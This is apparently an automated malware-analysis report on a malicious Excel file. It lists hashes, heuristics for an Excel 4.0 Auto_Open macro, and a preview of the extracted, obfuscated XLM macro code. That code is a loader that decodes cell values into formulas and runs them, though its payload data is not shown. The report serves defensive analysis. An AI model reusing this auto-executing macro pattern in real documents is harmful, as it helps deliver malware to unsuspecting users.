Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cd7f02ed6165a436…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:45:37 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 077b0a3afd98fd755106fa1ab9b7b655 SHA-1: 8d478c57c45195ad4a4092c56f9ef1acd93e7ab1 SHA-256: cd7f02ed6165a436c53cb10079d244c1a120c337f726ad8ab5a17235624602a0
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6605 bytes
SHA-256: 26a49f200947eb94485e18c16d542ba367f69532203fa46b033f279952880032
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  oCXVyAbZHzL
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D155 
' 0018     20 LABEL : Cell Value, String Constant - cwUAM len=0 
' 0018     27 LABEL : Cell Value, String Constant - eflEZyVioToO len=0 
' 0018     25 LABEL : Cell Value, String Constant - GIWgjSZrqj len=0 
' 0018     26 LABEL : Cell Value, String Constant - HXbSIPnrjrD len=0 
' 0018     25 LABEL : Cell Value, String Constant - IfCXpvqNwH len=0 
' 0018     25 LABEL : Cell Value, String Constant - IZtkYcWMIP len=0 
' 0018     20 LABEL : Cell Value, String Constant - jckmC len=0 
' 0018     25 LABEL : Cell Value, String Constant - khfcuSghrn len=0 
' 0018     24 LABEL : Cell Value, String Constant - KnItjOSMi len=0 
' 0018     21 LABEL : Cell Value, String Constant - kxXXNf len=0 
' 0018     23 LABEL : Cell Value, String Constant - NDSkBCBy len=0 
' 0018     24 LABEL : Cell Value, String Constant - oBRMgXREd len=0 
' 0018     22 LABEL : Cell Value, String Constant - oOXoHJa len=0 
' 0018     21 LABEL : Cell Value, String Constant - OuXvrl len=0 
' 0018     21 LABEL : Cell Value, String Constant - QfmBXS len=0 
' 0018     21 LABEL : Cell Value, String Constant - sDdyxR len=0 
' 0018     24 LABEL : Cell Value, String Constant - TeEzUqetk len=0 
' 0018     21 LABEL : Cell Value, String Constant - UOShkh len=0 
' 0018     20 LABEL : Cell Value, String Constant - utAAc len=0 
' 0018     20 LABEL : Cell Value, String Constant - VqEwu len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  oCXVyAbZHzL,D70,"SET.NAME("khfcuSghrn",VALUE("0"))",""
'  oCXVyAbZHzL,D73,"SET.NAME("UOShkh",khfcuSghrn)",""
'  oCXVyAbZHzL,D77,"SET.NAME("GIWgjSZrqj",khfcuSghrn)",""
'  oCXVyAbZHzL,D79,"SET.NAME("oOXoHJa",COUNTA(NDSkBCBy))",""
'  oCXVyAbZHzL,D83,"SET.NAME("VqEwu",COUNTA(cwUAM))",""
'  oCXVyAbZHzL,D88,[],""
'  oCXVyAbZHzL,D91,"SET.NAME("KnItjOSMi","")",""
'  oCXVyAbZHzL,D93,"UOShkh",""
'  oCXVyAbZHzL,D96,"SET.NAME("TeEzUqetk",HLOOKUP("*",NDSkBCBy,UOShkh,FALSE))",""
'  oCXVyAbZHzL,D99,"oBRMgXREd",""
'  oCXVyAbZHzL,D102,"SET.NAME("QfmBXS",khfcuSghrn)",""
'  oCXVyAbZHzL,D106,[],""
'  oCXVyAbZHzL,D108,"QfmBXS",""
'  oCXVyAbZHzL,D112,"HXbSIPnrjrD",""
'  oCXVyAbZHzL,D116,"jckmC",""
'  oCXVyAbZHzL,D118,"IfCXpvqNwH",""
'  oCXVyAbZHzL,D121,"SET.NAME("sDdyxR",VALUE(HLOOKUP("*",cwUAM,IfCXpvqNwH,FALSE)))",""
'  oCXVyAbZHzL,D124,"utAAc",""
'  oCXVyAbZHzL,D127,"KnItjOSMi",""
'  oCXVyAbZHzL,D129,"GIWgjSZrqj",""
'  oCXVyAbZHzL,D133,NEXT(),""
'  oCXVyAbZHzL,D137,"eflEZyVioToO",""
'  oCXVyAbZHzL,D142,"SET.NAME("f",INT(T(FORMULA(T(KnItjOSMi)&"",""&T(eflEZyVioToO)))))",""
'  oCXVyAbZHzL,D146,"kxXXNf",""
'  oCXVyAbZHzL,D149,NEXT(),""
'  oCXVyAbZHzL,D153,RETURN(),""
'  oCXVyAbZHzL,D178,"SET.NAME("OuXvrl",D70)",""
'  oCXVyAbZHzL,D180,"NDSkBCBy",""
'  oCXVyAbZHzL,D182,"SET.NAME("cwUAM",R85C11)",""
'  oCXVyAbZHzL,D185,"SET.NAME("kxXXNf",191)",""
'  oCXVyAbZHzL,D187,"SET.NAME("IZtkYcWMIP",4)",""
'  oCXVyAbZHzL,D190,OuXvrl(),""
'  oCXVyAbZHzL,D191,HALT(),""